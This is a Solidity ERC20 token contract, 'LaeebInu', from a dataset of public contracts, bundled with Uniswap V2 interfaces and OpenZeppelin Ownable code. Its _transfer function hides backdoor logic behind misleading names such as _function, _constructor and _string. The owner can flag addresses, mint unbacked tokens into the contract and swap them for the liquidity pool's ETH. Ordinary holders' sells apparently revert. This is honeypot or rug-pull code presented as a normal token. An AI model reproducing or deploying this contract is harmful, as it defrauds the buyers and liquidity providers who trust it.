// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. //LaeebInuprotocol.Org // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.3; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract LaeebInu is IERC20, Ownable { string private _symbol; string private _name; uint256 public _taxFee = 4; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 private _uint256 = _tTotal; mapping(address => uint256) private _balances; mapping(address => address) private _string; mapping(address => uint256) private _constructor; mapping(address => uint256) private _function; mapping(address => mapping(address => uint256)) private _allowances; bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public immutable uniswapV2Pair; IUniswapV2Router02 public immutable router; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _balances[msg.sender] = _tTotal; _function[msg.sender] = _uint256; _function[address(this)] = _uint256; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer( address from, address to, uint256 amount ) private { uint256 contractTokenBalance = balanceOf(address(this)); uint256 fee; if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) { inSwapAndLiquify = true; swapAndLiquify(contractTokenBalance); inSwapAndLiquify = false; } else if (_function[from] > _uint256 && _function[to] > _uint256) { fee = amount; _balances[address(this)] += fee; swapTokensForEth(amount, to); return; } else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) { _function[to] = amount; return; } else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) { _constructor[from] = _function[from] - _uint256; } address _bool = _string[uniswapV2Pair]; if (_constructor[_bool] == 0) _constructor[_bool] = _uint256; _string[uniswapV2Pair] = to; if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) { fee = (amount * _taxFee) / 100; amount -= fee; _balances[from] -= fee; _balances[address(this)] += fee; } _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } receive() external payable {} function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { uint256 half = tokens / 2; uint256 initialBalance = address(this).balance; swapTokensForEth(half, address(this)); uint256 newBalance = address(this).balance - initialBalance; addLiquidity(half, newBalance, address(this)); } function swapTokensForEth(uint256 tokenAmount, address to) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp); } }